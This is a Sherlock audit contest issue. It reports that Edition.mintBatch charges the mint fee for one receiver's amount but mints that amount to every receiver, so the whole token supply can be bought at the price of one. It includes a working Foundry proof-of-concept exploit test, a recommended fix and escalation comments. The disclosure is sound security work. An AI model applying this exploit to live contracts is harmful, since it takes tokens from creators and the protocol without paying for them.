sherlock-audit / 2024-04-titles-judging

1 stars 1 forks source link

Brenzee - Attacker can mint the whole supply of Work tokens for a price of one token #332

Closed sherlock-admin3 closed 2 months ago

sherlock-admin3 commented 2 months ago

Brenzee

high

Attacker can mint the whole supply of Work tokens for a price of one token

Summary

Users can mint the whole supply of Work tokens for a price of one token by calling Edition.mintBatch(address[],uint256,uint256,bytes)

Vulnerability Detail

Edition.mintBatch(address[],uint256,uint256,bytes) function mints _amount of tokens for every receiver in the receivers_ address array.

In this function FeeManager.collectMintFee is called with the _amount from the function parameters, which represents how many tokens will be minted for 1 receiver. This is where the mistake is made - FeeManager.collectMintFee function expects the total amount tokens that will be minted.

    function mintBatch(
        address[] calldata receivers_,
        uint256 tokenId_,
        uint256 amount_,
        bytes calldata data_
    ) external payable {
        FEE_MANAGER.collectMintFee{value: msg.value}(
            this, tokenId_, amount_, msg.sender, address(0), works[tokenId_].strategy
        );
        ...
    }

Inside the FeeManager contract getMintFee function is responsible to calculate how big of a fee in ETH should be paid. The quantity_ parameter in this function is the amount_ from Edition.mintBatch function.

    function getMintFee(Strategy memory strategy_, uint256 quantity_)
        public
        view
        returns (Fee memory fee)
    {
        // Return the total fee (creator's mint fee + protocol flat fee)
        return Fee({asset: ETH_ADDRESS, amount: quantity_ * (strategy_.mintFee + protocolFlatFee)});
    }

Later in the FeeManager contract the returned value from getMintFee function is used in the _collectMintFee function, which manages all the ETH transfers. If there is enough ETH sent with collectMintFee function, it will succeed.

Because of the mistake in the Edition.mintBatch(address[],uint256,uint256,bytes) function, it allows users to mint any amount of tokens (till maxSupply) for price of one token.

POC

Foundry POC Attacker mints the whole supply for price of one token ### Instructions Copy the test below and add it to `Edition.t.sol` test contract. Run `forge test --mt "test_mintBatch_issue" --mc "EditionTest" -vv` command Test will succeed ```shell [PASS] test_mintBatch_issue() (gas: 254888) Logs: Bob ETH balance: 1000000000000000000 Bob Work balance: 0 Bob ETH balance after: 989400000000000000 Bob Work balance after: 10 ``` ### Test function ```solidity function test_mintBatch_issue() public { // It is possible to mint the whole Work for the price of one token address bob = address(0x123); vm.deal(bob, 1 ether); // For information uint256 balanceOfBob = address(bob).balance; console.log("Bob ETH balance: %d", balanceOfBob); // 1 ETH console.log("Bob Work balance: %d", edition.balanceOf(bob, 1)); // 0 // Cost of one token is 0.01 ETH + 0.0006 ETH uint256 costOfOneMint = 0.01 ether + 0.0006 ether; // mintFee + protocolFlatFee // Bob wants to mint the whole work for the price of one mint uint256 tokensToMint = edition.maxSupply(1) - edition.totalSupply(1); // Create a receivers array with Bob's address in the length of tokensToMint address[] memory receivers = new address[](tokensToMint); for (uint256 i = 0; i < tokensToMint; i++) { receivers[i] = bob; } // Bob executes the mintBatch vm.prank(bob); edition.mintBatch{value: costOfOneMint}(receivers, 1, 1, new bytes(0)); // Bob should have tokensToMint works at one mint price uint256 expectedBalanceOfBob = balanceOfBob - costOfOneMint; uint256 bobBalanceAfter = address(bob).balance; uint256 bobWorkBalanceAfter = edition.balanceOf(bob, 1); console.log("Bob ETH balance after: %d", bobBalanceAfter); console.log("Bob Work balance after: %d", edition.balanceOf(bob, 1)); assertEq(edition.balanceOf(bob, 1), tokensToMint); assertEq(bobBalanceAfter, expectedBalanceOfBob); } ```

Impact

The whole Work supply can be minted for price of one mint:

Code Snippet

Edition.mintBatch

    function mintBatch(
        address[] calldata receivers_,
        uint256 tokenId_,
        uint256 amount_,
        bytes calldata data_
    ) external payable {
        // wake-disable-next-line reentrancy
        // @audit-issue User can call `mintBatch` with X receivers and pay only price of minting 1 token
        FEE_MANAGER.collectMintFee{value: msg.value}(
            this, tokenId_, amount_, msg.sender, address(0), works[tokenId_].strategy
        );

        for (uint256 i = 0; i < receivers_.length; i++) {
            _issue(receivers_[i], tokenId_, amount_, data_);
        }

        _refundExcess();
    }

Tool used

Manual Review

Recommendation

In Edition.mintBatch function calculate the total fee required for all of the tokens together. Example:

    function mintBatch(
        address[] calldata receivers_,
        uint256 tokenId_,
        uint256 amount_,
        bytes calldata data_
    ) external payable {
        // wake-disable-next-line reentrancy
        FEE_MANAGER.collectMintFee{value: msg.value}(
            this,
            tokenId_,
            amount_ * receivers_.length,
            msg.sender,
            address(0),
            works[tokenId_].strategy
        );

        for (uint256 i = 0; i < receivers_.length; i++) {
            _issue(receivers_[i], tokenId_, amount_, data_);
        }

        _refundExcess();
    }

Duplicate of #264

brakeless-wtp commented 1 month ago

Escalate

Requesting another review of this report. It can be argued that this report is a duplicate of #264 The watson clearly shows via PoC that the fee is taken once, but the user is able to mint > 1 tokens.

sherlock-admin3 commented 1 month ago

Escalate

Requesting another review of this report. It can be argued that this report is a duplicate of #264 The watson clearly shows via PoC that the fee is taken once, but the user is able to mint > 1 tokens.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity commented 1 month ago

Agree with the escalation, planning to accept and duplicate with #264

Evert0x commented 1 month ago

Result: High Duplicate of #264

sherlock-admin4 commented 1 month ago

Escalations have been resolved successfully!

Escalation status: